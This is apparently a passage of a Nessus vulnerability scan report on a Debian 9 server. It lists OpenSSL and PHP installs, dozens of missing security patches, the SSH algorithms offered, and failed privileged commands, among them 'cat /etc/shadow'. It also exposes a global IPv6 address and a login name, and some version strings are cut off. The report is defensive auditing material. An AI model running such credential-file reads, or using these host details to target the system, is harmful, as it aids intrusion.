Published: 2023/09/14, Modified: 2025/08/19

Plugin Output

tcp/22/ssh

```
Service : ssh
Version : 7.4p1
Banner : SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6
```

168007 - OpenSSL Installed (Linux) -

Synopsis

OpenSSL was detected on the remote Linux host.

Description

OpenSSL was detected on the remote Linux host.

The plugin timeout can be set to a custom value other than the plugin's default of 15 minutes via the 'timeout.168007' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

Note: This plugin leverages the '-maxdepth' find command option, which is a feature implemented by the GNU find binary. If the target does not support this option, such as HP-UX and AIX devices, users will need to enable 'thorough tests' in their scan policy to run the find command without using a '-maxdepth' argument.

See Also

https://openssl.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2022/11/21, Modified: 2025/07/28

Plugin Output

tcp/0

```
Nessus detected 14 installs of OpenSSL:

Path : /usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libchil.so
Version : 1.0.2d
Associated Package : libssl1.0.2

Path : /usr/bin/openssl
Version : 1.1.0j
Associated Package : openssl 1.1.0j-1
Managed by OS : True

Path : /usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libubsec.so
Version : 1.0.2d
Associated Package : libssl1.0.2

Path : /usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libnuron.so
Version : 1.0.2d
```

```
Associated Package : libssl1.0.2

Path : /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
Version : 1.1.0j
Associated Package : libssl1.1

Path : /usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libaep.so
Version : 1.0.2d
Associated Package : libssl1.0.2

Path : /usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/lib4758cca.so
Version : 1.0.2d
Associated Package : libssl1.0.2

Path : /usr/lib/x86_64-linux-gnu/libssl.so.1.1
Version : 1.1.0j
Associated Package : libssl1.1

Path : /usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libsureware.so
Version : 1.0.2d
Associated Package : libssl1.0.2

Path : /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2
Version : 1.0.2
Associated Package : libssl1.0.2

Path : /usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libcswift.so
Version : 1.0.2d
Associated Package : libssl1.0.2

Path : /usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libgost.so
Version : 1.0.2d
Associated Package : libssl1.0.2

Path : /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2
Version : 1.0.2d
Associated Package : libssl1.0.2

Path : /usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libatalla.so
Version : 1.0.2d
Associated Package : libssl1.0.2

We are unable to retrieve version info from the following list of OpenSSL files. However, these installs may include their version
within the filename or the filename of the Associated Package.

e.g. libssl.so.3 (OpenSSL 3.x), libssl.so.1.1 (OpenSSL 1.1.x)

/usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libpadlock.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libgmp.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.2/engines/libcapi.so
```

216936 - PHP Scripting Language Installed (Unix) -

Synopsis

The PHP scripting language is installed on the remote Unix host.

Description

The PHP scripting language is installed on the remote Unix host.

Note: Enabling the 'Perform thorough tests' setting will search the file system much more broadly.
Thorough test is required to get results on hosts running MacOS.

See Also

https://www.php.net

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2024/06/13, Modified: 2025/07/28

Plugin Output

tcp/0

```
Path : /usr/bin/php7.0
Version : 7.0.33
Associated Package : php7.0-cli: /usr/bin/php7.0
```

```
INI file : /etc/php/7.0/cli/php.ini
INI source : PHP binary grep
Managed by OS : True
```

179139 - Package Manager Packages Report (nix) -

Synopsis

Reports details about packages installed via package managers.

Description

Reports details about packages installed via package managers

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/08/01, Modified: 2025/05/07

Plugin Output

tcp/0

```
Successfully retrieved and stored package data.
```

66334 - Patch Report -

Synopsis

The remote host is missing several patches.

Description

The remote host is missing one or more security patches. This plugin lists the newest version of each patch to install to make sure the remote host is up-to-date.

Note: Because the 'Show missing patches that have been superseded' setting in your scan policy depends on this plugin, it will always run and cannot be disabled.

Solution

Install the patches listed below.

Risk Factor

None

Plugin Information

Published: 2013/07/08, Modified: 2025/08/12

Plugin Output

tcp/0

```
. You need to take the following 79 actions :

[ Debian DLA-2290-1 : e2fsprogs security update (138913) ]
+ Action to take : Upgrade the affected packages.

[ Debian DLA-2340-2 : sqlite3 regression update (139760) ]
+ Action to take : Upgrade the affected packages.

[ Debian DLA-2381-1 : lua5.3 security update (140807) ]
+ Action to take : Upgrade the affected packages.

[ Debian DLA-2415-1 : freetype security update (141910) ]
```

```
+ Action to take : Upgrade the affected packages.

[ Debian DLA-2487-1 : apt security update (144029) ]

+ Action to take : Upgrade the affected packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).


[ Debian DLA-2513-1 : p11-kit security update (144738) ]

+ Action to take : Upgrade the affected packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).


[ Debian DLA-2518-1 : cairo security update (144762) ]

+ Action to take : Upgrade the affected packages.

[ Debian DLA-2534-1 : sudo security update (145475) ]

+ Action to take : Upgrade the affected sudo, and sudo-ldap packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).


[ Debian DLA-2563-1 : openssl security update (146612) ]

+ Action to take : Upgrade the affected packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).


[ Debian DLA-2566-1 : libbsd security update (146608) ]

+ Action to take : Upgrade the affected libbsd-dev, libbsd0, and libbsd0-udeb packages.

[ Debian DLA-2596-1 : shadow security update (147813) ]

+ Action to take : Upgrade the affected login, passwd, and uidmap packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).


[ Debian DLA-2605-1 : mariadb-10.1 security update (148053) ]

+ Action to take : Upgrade the affected packages.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).


[ Debian DLA-2614-1 : busybox security update (148302) ]

+ Action to take : Upgrade the affected packages.

+Impact : Taking this action will resolve 8 different vulnerabilities (CVEs).


[ Debian DLA-2657-1 : lz4 security update (149460) ]

+ Action to take : Upgrade the affected packages.

[ Debian DLA-2666-1 : libx11 security update (149889) ]

+ Action to take : Upgrade the affected packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).


[ Debian DLA-2674-1 : isc-dhcp security update (150255) ]

+ Action to take : Upgrade the affected packages.

[ Debian DLA-2677-1 : libwebp security update (150301) ]

+ Action to take : Upgrade the affected packages.

+Impact : Taking this action will resolve 10 different vulnerabilities (CVEs).


[ Debian DLA-2686-1 : python-urllib3 - LTS security update (150806) ]

+ Action to take : Upgrade the python-urllib3 packages.
```

For Debian 9 stretch, these problems have been fixed in version 1.19.1-1+deb9u1.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Debian DLA-2691-1 : libgcrypt20 - LTS security update (151006)]

+ Action to take : Upgrade the libgcrypt20 packages.

For Debian 9 stretch, this problem has been fixed in version 1.7.6-2+deb9u4.

[Debian DLA-2695-1 : klibc - LTS security update (151361)]

+ Action to take : Upgrade the klibc packages.

For Debian 9 stretch, these problems have been fixed in version 2.0.4-9+deb9u1.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Debian DLA-2702-1 : djvulibre - LTS security update (151369)]

+ Action to take : Upgrade the djvulibre packages.

For Debian 9 stretch, this problem has been fixed in version 3.5.27.1-7+deb9u2.

+Impact : Taking this action will resolve 11 different vulnerabilities (CVEs).

[Debian DLA-2732-1 : openexr - LTS security update (152223)]

+ Action to take : Upgrade the openexr packages.

For Debian 9 stretch, these problems have been fixed in version 2.2.0-11+deb9u4.

+Impact : Taking this action will resolve 36 different vulnerabilities (CVEs).

[Debian DLA-2760-1 : nettle - LTS security update (153482)]

+ Action to take : Upgrade the nettle packages.

For Debian 9 stretch, these problems have been fixed in version 3.3-1+deb9u1.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Debian DLA-2771-1 : krb5 - LTS security update (153808)]

+ Action to take : Upgrade the krb5 packages.

For Debian 9 stretch, these problems have been fixed in version 1.15-1+deb9u3.

+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).

[Debian DLA-2773-1 : curl - LTS security update (153845)]

+ Action to take : Upgrade the curl packages.

For Debian 9 stretch, these problems have been fixed in version 7.52.1-5+deb9u16.

+Impact : Taking this action will resolve 13 different vulnerabilities (CVEs).

[Debian DLA-2784-1 : icu - LTS security update (154020)]

+ Action to take : Upgrade the icu packages.

For Debian 9 Stretch, these problems have been fixed in version 57.1-6+deb9u5.

[Debian DLA-2786-1 : nghttp2 - LTS security update (154195)]

+ Action to take : Upgrade the nghttp2 packages.

For Debian 9 stretch, these problems have been fixed in version 1.18.1-1+deb9u2.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Debian DLA-2794-1 : php7.0 - LTS security update (154514)]

+ Action to take : Upgrade the php7.0 packages.

For Debian 9 stretch, this problem has been fixed in version 7.0.33-0+deb9u12.

+Impact : Taking this action will resolve 8 different vulnerabilities (CVEs).

[Debian DLA-2796-1 : jbig2dec - LTS security update (154735)]

+ Action to take : Upgrade the jbig2dec packages.

For Debian 9 stretch, these problems have been fixed in version 0.13-4.1+deb9u1.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Debian DLA-2801-1 : cron - LTS security update (154747)]

+ Action to take : Upgrade the cron packages.

For Debian 9 stretch, these problems have been fixed in version 3.0pl1-128+deb9u2.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Debian DLA-2802-1 : elfutils - LTS security update (154749)]

+ Action to take : Upgrade the elfutils packages.

For Debian 9 stretch, these problems have been fixed in version 0.168-1+deb9u1.

+Impact : Taking this action will resolve 7 different vulnerabilities (CVEs).

[Debian DLA-2808-1 : python3.5 - LTS security update (154923)]

+ Action to take : Upgrade the python3.5 packages.

For Debian 9 stretch, these problems have been fixed in version 3.5.3-1+deb9u5.

+Impact : Taking this action will resolve 20 different vulnerabilities (CVEs).

[Debian DLA-2830-1 : tar - LTS security update (155707)]

+ Action to take : Upgrade the tar packages.

For Debian 9 stretch, this problem has been fixed in version 1.29b-1.1+deb9u1.

[Debian DLA-2833-1 : rsync - LTS security update (155739)]

+ Action to take : Upgrade the rsync packages.

For Debian 9 stretch, this problem has been fixed in version 3.1.2-1+deb9u3.

[Debian DLA-2837-1 : gmp - LTS security update (155822)]

+ Action to take : Upgrade the gmp packages.

For Debian 9 stretch, this problem has been fixed in version 2

[Debian DLA-2848-1 : libssh2 - LTS security update (156173)]

+ Action to take : Upgrade the libssh2 packages.

For Debian 9 stretch, these problems have been fixed in version 1.7.0-1+deb9u2.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Debian DLA-2850-1 : libpcap - LTS security update (156318)]

+ Action to take : Upgrade the libpcap packages.

For Debian 9 stretch, this problem has been fixed in version 1.8.1-3+deb9u1.

[Debian DLA-2871-1 : lxml - LTS security update (156417)]

+ Action to take : Upgrade the lxml packages.

For Debian 9 stretch, this problem has been fixed in version 3.7.1-1+deb9u5.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Debian DLA-2897-1 : apr - LTS security update (157058)]

+ Action to take : Upgrade the apr packages.

For Debian 9 stretch, this problem has been fixed in version 1.5.2-5+deb9u1.

[Debian DLA-2919-1 : python2.7 - LTS security update (158032)]

+ Action to take : Upgrade the python2.7 packages.

For Debian 9 stretch, these problems have been fixed in version 2.7.13-2+deb9u6.

+Impact : Taking this action will resolve 13 different vulnerabilities (CVEs).

[Debian DLA-2931-1 : cyrus-sasl2 - LTS security update (158647)]

+ Action to take : Upgrade the cyrus-sasl2 packages.

For Debian 9 stretch, this problem has been fixed in version 2.1.27~101-g0780600+dfsg-3+deb9u2.

[Debian DLA-2932-1 : tiff - LTS security update (158649)]

+ Action to take : Upgrade the tiff packages.

For Debian 9 stretch, these problems have been fixed in version 4.0.8-2+deb9u8.

+Impact : Taking this action will resolve 7 different vulnerabilities (CVEs).

[Debian DLA-2935-1 : expat - LTS security update (158676)]

+ Action to take : Upgrade the expat packages.

For Debian 9 stretch, these problems have been fixed in version 2.2.0-2+deb9u5.

+Impact : Taking this action will resolve 16 different vulnerabilities (CVEs).

[Debian DLA-2953-1 : openssl1.0 - LTS security update (159001)]

+ Action to take : Upgrade the openssl1.0 packages.

For Debian 9 stretch, this problem has been fixed in version 1.0.2u-1~deb9u7.

+Impact : Taking this action will resolve 6 different vulnerabilities (CVEs).

[Debian DLA-2955-1 : bind9 - LTS security update (159072)]

+ Action to take : Upgrade the bind9 packages.

For Debian 9 stretch, this problem has been fixed in version 1

+Impact : Taking this action will resolve 15 different vulnerabilities (CVEs).

[Debian DLA-2960-1 : apache2 - LTS security update (159141)]

+ Action to take : Upgrade the apache2 packages.

For Debian 9 stretch, these problems have been fixed in version 2.4.25-3+deb9u13.

+Impact : Taking this action will resolve 22 different vulnerabilities (CVEs).

[Debian DLA-2968-1 : zlib - LTS security update (159472)]

+ Action to take : Upgrade the zlib packages.

For Debian 9 stretch, this problem has been fixed in version 1

[Debian DLA-2975-1 : openjpeg2 - LTS security update (159625)]

+ Action to take : Upgrade the openjpeg2 packages.

For Debian 9 stretch, these problems have been fixed in version 2.1.2-1.1+deb9u7.

+Impact : Taking this action will resolve 14 different vulnerabilities (CVEs).

[Debian DLA-2976-1 : gzip - LTS security update (159626)]

+ Action to take : Upgrade the gzip packages.

For Debian 9 stretch, this problem has been fixed in version 1.6-5+deb9u1.

[Debian DLA-2977-1 : xz-utils - LTS security update (159624)]

+ Action to take : Upgrade the xz-utils packages.

For Debian 9 stretch, this problem has been fixed in version 5.2.2-1.2+deb9u1.

[Debian DLA-2989-1 : ghostscript - LTS security update (160398)]

+ Action to take : Upgrade the ghostscript packages.

For Debian 9 stretch, this problem has been fixed in version 9.26a~dfsg-0+deb9u9.

+Impact : Taking this action will resolve 35 different vulnerabilities (CVEs).

[Debian DLA-3007-1 : imagemagick - LTS security update (161205)]

+ Action to take : Upgrade the imagemagick packages.

For Debian 9 stretch, these problems have been fixed in version 8

+Impact : Taking this action will resolve 120 different vulnerabilities (CVEs).

[Debian DLA-3008-1 : openssl - LTS security update (161207)]

+ Action to take : Upgrade the openssl packages.

For Debian 9 stretch, this problem has been fixed in version 1.1.0l-1~deb9u6.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Debian DLA-3012-1 : libxml2 - LTS security update (161243)]

+ Action to take : Upgrade the libxml2 packages.

For Debian 9 stretch, this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u7.

+Impact : Taking this action will resolve 19 different vulnerabilities (CVEs).

[Debian DLA-3016-1 : rsyslog - LTS security update (161461)]

+ Action to take : Upgrade the rsyslog packages.

For Debian 9 stretch, these problems have been fixed in version 8.24.0-1+deb9u2.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Debian DLA-3017-1 : openldap - LTS security update (161428)]

+ Action to take : Upgrade the openldap packages.

For Debian 9 stretch, this problem has been fixed in version 2.4.44+dfsg-5+deb9u9.

+Impact : Taking this action will resolve 14 different vulnerabilities (CVEs).

[Debian DLA-3022-1 : dpkg - LTS security update (161514)]

+ Action to take : Upgrade the dpkg packages.

For Debian 9 stretch, this problem has been fixed in version 1.18.26.

[Debian DLA-3029-1 : cups - LTS security update (161628)]

+ Action to take : Upgrade the cups packages.

For Debian 9 stretch, this problem has been fixed in version 2.2.1-8+deb9u8.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Debian DLA-3035-1 : libdbi-perl - LTS security update (161684)]

+ Action to take : Upgrade the libdbi-perl packages.

For Debian 9 stretch, this problem has been fixed in version 1.636-1+deb9u2.

+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).

[Debian DLA-3037-1 : libjpeg-turbo - LTS security update (161725)]

+ Action to take : Upgrade the libjpeg-turbo packages.

For Debian 9 stretch, this problem has been fixed in version 1

+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).

[Debian DLA-3044-1 : glib2.0 - LTS security update (161906)]

+ Action to take : Upgrade the glib2.0 packages.

For Debian 9 stretch, these problems have been fixed in version 2.50.3-2+deb9u3.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Debian DLA-3047-1 : avahi - LTS security update (161940)]

+ Action to take : Upgrade the avahi packages.

For Debian 9 stretch, these problems have been fixed in version 0.6.32-2+deb9u1.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Debian DLA-3053-1 : vim - LTS security update (162406)]

+ Action to take : Upgrade the vim packages.

For Debian 9 stretch, these problems have been fixed in version 2

+Impact : Taking this action will resolve 34 different vulnerabilities (CVEs).

[Debian DLA-3063-1 : systemd - LTS security update (162623)]

+ Action to take : Upgrade the systemd packages.

For Debian 9 stretch, this problem has been fixed in version 232-25+deb9u14.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Debian DLA-3065-1 : linux - LTS security update (162697)]

+ Action to take : Upgrade the linux packages.

For Debian 9 stretch, these problems have been fixed in version 4.9.320-2.

+Impact : Taking this action will resolve 162 different vulnerabilities (CVEs).

[Debian DSA-4435-1 : libpng1.6 - security update (124344)]

+ Action to take : Upgrade the libpng1.6 packages.

For the stable distribution (stretch), this problem has been fixed in version 1.6.28-1+deb9u1.

[Debian DSA-4462-1 : dbus - security update (125905)]

+ Action to take : Upgrade the dbus packages.

For the stable distribution (stretch), this problem has been fixed in version 1.10.28-0+deb9u1.

[Debian DSA-4535-1 : e2fsprogs - security update (129413)]

+ Action to take : Upgrade the e2fsprogs packages.

For the oldstable distribution (stretch), this problem has been fixed in version 1.43.4-2+deb9u1.

For the stable distribution (buster), this problem has been fixed in version 1.44.5-1+deb10u2.

[Debian DSA-4539-1 : openssl - security update (129506)]

+ Action to take : Upgrade the openssl packages.

For the oldstable distribution (stretch), these problems have been fixed in version 1.1.0l-1~deb9u1.

For the stable distribution (buster), these problems have been fixed in version 1.1.1d-0+deb10u1.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Debian DSA-4550-1 : file - security update (130289)]

+ Action to take : Upgrade the file packages.

For the oldstable distribution (stretch), this problem has been fixed in version 1:5.30-1+deb9u3.

For the stable distribution (buster), this problem has been fixed in version 1:5.35-4+deb10u1.

[Debian DSA-4591-1 : cyrus-sasl2 - security update (132347)]

+ Action to take : Upgrade the cyrus-sasl2 packages.

For the oldstable distribution (stretch), this problem has been fixed in version 2.1.27~101-g0780600+dfsg-3+deb9u1.

For the stable distribution (buster), this problem has been fixed in version 2.1.27+dfsg-1+deb10u1.

[Debian DSA-4594-1 : openssl1.0 - security update (132425)]

```
+ Action to take : Upgrade the openssl1.0 packages.

For the oldstable distribution (stretch), this problem has been fixed in version 1.0.2u-1~deb9u1.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).


[ Debian DSA-4609-1 : python-apt - security update (133230) ]

+ Action to take : Upgrade the python-apt packages.

For the oldstable distribution (stretch), these problems have been fixed in version 1.4.1.

For the stable distribution (buster), these problems have been fixed in version 1.8.4.1.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).


[ Debian DSA-4646-1 : icu - security update (134917) ]

+ Action to take : Upgrade the icu packages.

For the oldstable distribution (stretch), this problem has been fixed in version 57.1-6+deb9u4.

For the stable distribution (buster), this problem has been fixed in version 63.1-6+deb10u1.

[ Debian DSA-4666-1 : openldap - security update (136123) ]

+ Action to take : Upgrade the openldap packages.

For the oldstable distribution (stretch), this problem has been fixed in version 2.4.44+dfsg-5+deb9u4.

For the stable distribution (buster), this problem has been fixed in version 2.4.47+dfsg-3+deb10u2.

[ Debian DSA-4670-1 : tiff - security update (136127) ]

+ Action to take : Upgrade the tiff packages.

For the oldstable distribution (stretch), these problems have been fixed in version 4.0.8-2+deb9u5.

+Impact : Taking this action will resolve 7 different vulnerabilities (CVEs).


[ Debian DSA-4698-1 : linux - security update (137340) ]

+ Action to take : Upgrade the linux packages.

For the oldstable distribution (stretch), these problems have been fixed in version 4.9.210-1+deb9u1. This version also fixes some
related bugs that do not have their own CVE IDs, and a regression in the macvlan driver introduced in the previous point release
(bug #952660).

+Impact : Taking this action will resolve 74 different vulnerabilities (CVEs).


[ Debian DSA-4717-1 : php7.0 - security update (138106) ]

+ Action to take : Upgrade the php7.0 packages.

For the oldstable distribution (stretch), these problems have been fixed in version 7.0.33-0+deb9u8.

+Impact : Taking this action will resolve 21 different vulnerabilities (CVEs).


[ SSH Terrapin Prefix Truncation Weakness (CVE-2023-48795) (187315) ]

+ Action to take : Contact the vendor for an update with the strict key exchange countermeasures or disable the affected algorithms.
```

45405 - Reachable IPv6 address -

Synopsis

The remote host may be reachable from the Internet.

Description

Although this host was scanned through a private IPv4 or local scope IPv6 address, some network interfaces are configured with global scope IPv6 addresses. Depending on the configuration of the firewalls and routers, this host may be reachable from Internet.

Solution

Disable IPv6 if you do not actually using it.

Otherwise, disable any unused IPv6 interfaces and implement IP filtering if needed.

Risk Factor

None

Plugin Information

Published: 2010/04/02, Modified: 2024/07/24

Plugin Output

tcp/0

```
The following global address was gathered :

- 2409:40c0:104b:d35f:a00:27ff:fe36:e787
```

70657 - SSH Algorithms and Languages Supported -

Synopsis

An SSH server is listening on this port.

Description

This script detects which algorithms and languages are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/28, Modified: 2025/01/20

Plugin Output

tcp/22/ssh

```
Nessus negotiated the following encryption algorithm(s) with the server :

Client to Server: aes256-ctr
Server to Client: aes256-ctr

The server supports the following options for compression_algorithms_server_to_client :

none
zlib@openssh.com

The server supports the following options for mac_algorithms_client_to_server :

hmac-sha1
hmac-sha1-etm@openssh.com
hmac-sha2-256
hmac-sha2-256-etm@openssh.com
hmac-sha2-512
hmac-sha2-512-etm@openssh.com
umac-128-etm@openssh.com
umac-128@openssh.com
umac-64-etm@openssh.com
umac-64@openssh.com

The server supports the following options for server_host_key_algorithms :

ecdsa-sha2-nistp256
rsa-sha2-256
rsa-sha2-512
ssh-ed25519
ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server :

aes128-ctr
aes128-gcm@openssh.com
aes192-ctr
aes256-ctr
aes256-gcm@openssh.com
chacha20-poly1305@openssh.com

The server supports the following options for mac_algorithms_server_to_client :

hmac-sha1
hmac-sha1-etm@openssh.com
hmac-sha2-256
```

```
hmac-sha2-256-etm@openssh.com
hmac-sha2-512
hmac-sha2-512-etm@openssh.com
umac-128-etm@openssh.com
umac-128@openssh.com
umac-64-etm@openssh.com
umac-64@openssh.com

The server supports the following options for kex_algorithms :

curve25519-sha256
curve25519-sha256@libssh.org
diffie-hellman-group-exchange-sha256
diffie-hellman-group14-sha1
diffie-hellman-group14-sha256
diffie-hellman-group16-sha512
diffie-hellman-group18-sha512
ecdh-sha2-nistp256
ecdh-sha2-nistp384
ecdh-sha2-nistp521

The server supports the following options for compression_algorithms_client_to_server :

none
zlib@openssh.com

The server supports the following options for encryption_algorithms_server_to_client :

aes128-ctr
aes128-gcm@openssh.com
aes192-ctr
aes256-ctr
aes256-gcm@openssh.com
chacha20-poly1305@openssh.com
```

102094 - SSH Commands Require Privilege Escalation -

Synopsis

This plugin reports the SSH commands that failed with a response indicating that privilege escalation is required to run them.

Description

This plugin reports the SSH commands that failed with a response indicating that privilege escalation is required to run them. Either privilege escalation credentials were not provided, or the command failed to run with the provided privilege escalation credentials.

NOTE: Due to limitations inherent to the majority of SSH servers, this plugin may falsely report failures for commands containing error output expected by sudo, such as 'incorrect password', 'not in the sudoers file', or 'not allowed to execute'.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0507

Plugin Information

Published: 2017/08/01, Modified: 2020/09/22

Plugin Output

tcp/0

```
Login account : jens
Commands failed due to lack of privilege escalation :
- Escalation account : (none)
Escalation method : (none)
Plugins :
- Plugin Filename : apache_http_server_nix_installed.nbin
Plugin ID : 141394
Plugin Name : Apache HTTP Server Installed (Linux)
- Command : "grep -aE '(Oracle-HTTP-Server)' /var/log/apache2 2>&1"
Response : "grep: /var/log/apache2: Permission denied"
Error : ""
- Command : "grep -aE '.*(Apache\\/([0-9][0-9]?\\.[0-9][0-9]?\\.[0-9][0-9]?) \\([A-Za-z ]*\\)).*' /var/log/apache2 2>&1"
Response : "grep: /var/log/apache2: Permission denied"
Error : ""
- Plugin Filename : enumerate_oci_nix.nasl
Plugin ID : 154138
Plugin Name : Oracle Cloud Infrastructure Instance Metadata Enumeration (Linux / Unix)
- Command : "LC_ALL=C /usr/sbin/dmidecode -s chassis-asset-tag 2>&1"
```

```
Response : "/sys/firmware/dmi/tables/smbios_entry_point: Permission denied\n/dev/mem: Permission denied"
Error : ""
- Plugin Filename : host_tag_nix.nbin
Plugin ID : 87414
Plugin Name : Host Tagging (Linux)
- Command : "sh -c \"echo 95d4d98d816a49e2ab7aa9a2e68cb2fe > /etc/tenable_tag && echo OK\""
Response : null
Error : "\nsh: 1: \ncannot create /etc/tenable_tag: Permission denied"
- Plugin Filename : linux_kernel_speculative_execution_detect.nbin
Plugin ID : 125216
Plugin Name : Processor Speculative Execution Vulnerabilities (Linux)
- Command : "head /sys/kernel/debug/x86/pti_enabled"
Response : null
Error : "\nhead: \ncannot open '/sys/kernel/debug/x86/pti_enabled' for reading\n: Permission denied"
- Command : "head /sys/kernel/debug/x86/retp_enabled"
Response : null
Error : "\nhead: \ncannot open '/sys/kernel/debug/x86/retp_enabled' for reading\n: Permission denied"
- Command : "head /sys/kernel/debug/x86/ibrs_enabled"
Response : null
Error : "\nhead: \ncannot open '/sys/kernel/debug/x86/ibrs_enabled' for reading\n: Permission denied"
- Plugin Filename : localusers_pwexpiry.nasl
Plugin ID : 83303
Plugin Name : Unix / Linux - Local Users Information : Passwords Never Expire
- Command : "cat /etc/shadow"
Response : null
Error : "\ncat: \n/etc/shadow\n: Permission denied"
```

149334 - SSH Password Authentication Accepted -

Synopsis

The SSH server on the remote host accepts password authentication.

Description

The SSH server on the remote host accepts password authentication.

See Also

https://tools.ietf.org/html/rfc4252#section-8

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/05/07, Modified: 2021/05/07

Plugin Output

tcp/22/ssh

10881 - SSH Protocol Versions Supported -

Synopsis

A SSH server is running on the remote host.

Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/03/06, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

```
The remote SSH daemon supports the following versions of the
SSH protocol :

- 1.99
- 2.0
```

90707 - SSH SCP Protocol Detection -

Synopsis

The remote host supports the SCP protocol over SSH.

Description

The remote host supports the Secure Copy (SCP) protocol over SSH.

See Also

https://en.wikipedia.org/wiki/Secure_copy

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2016/04/26, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

153588 - SSH SHA-1 HMAC Algorithms Enabled -

Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/09/23, Modified: 2022/04/05

Plugin Output

tcp/22/ssh

```
The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :

hmac-sha1
hmac-sha1-etm@openssh.com

The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :

hmac-sha1
hmac-sha1-etm@openssh.com
```

10267 - SSH Server Type and Version Information -

Synopsis

An SSH server is listening on this port.

Description

It is possible to obtain information about the remote SSH server by sending an empty authentication request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0933

Plugin Information

Published: 1999/10/12, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

```
SSH version : SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6
SSH supported authentication : publickey,password
```

22964 - Service Detection -

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/80/www

```
A web server is running on this port.
```

11153 - Service Detection (HELP Request) -

Synopsis

The remote service could be identified.

Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives a 'HELP' request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/18, Modified: 2024/11/19

Plugin Output

tcp/22/ssh

```
An SSH server seems to be running on this port.
```

22869 - Software Enumeration (SSH) -

Synopsis

It was possible to enumerate installed software on the remote host via SSH.

Description

Nessus was able to list the software installed on the remote host by calling the appropriate command (e.g., 'rpm -qa' on RPM-based Linux distributions, qpkg, dpkg, etc.).

Solution

Remove any software that is not in compliance with your organization's acceptable use and security policies.

Risk Factor

None

References

XREF IAVT:0001-T-0502

Plugin Information

Published: 2006/10/15, Modified: 2025/03/26

Plugin Output

tcp/0

```
Here is the list of packages installed on the remote Debian Linux system :

ii adduser 3.115 all add and remove users and groups
ii apache2 2.4.25-3+deb9u7 amd64 Apache HTTP Server
ii apache2-bin 2.4.25-3+deb9u7 amd64 Apache HTTP Server (modules and other binary files)
ii apache2-data 2.4.25-3+deb9u7 all Apache HTTP Server (common files)
ii apache2-utils 2.4.25-3+deb9u7 amd64 Apache HTTP Server (utility programs for web servers)
ii apt 1.4.9 amd64 commandline package manager
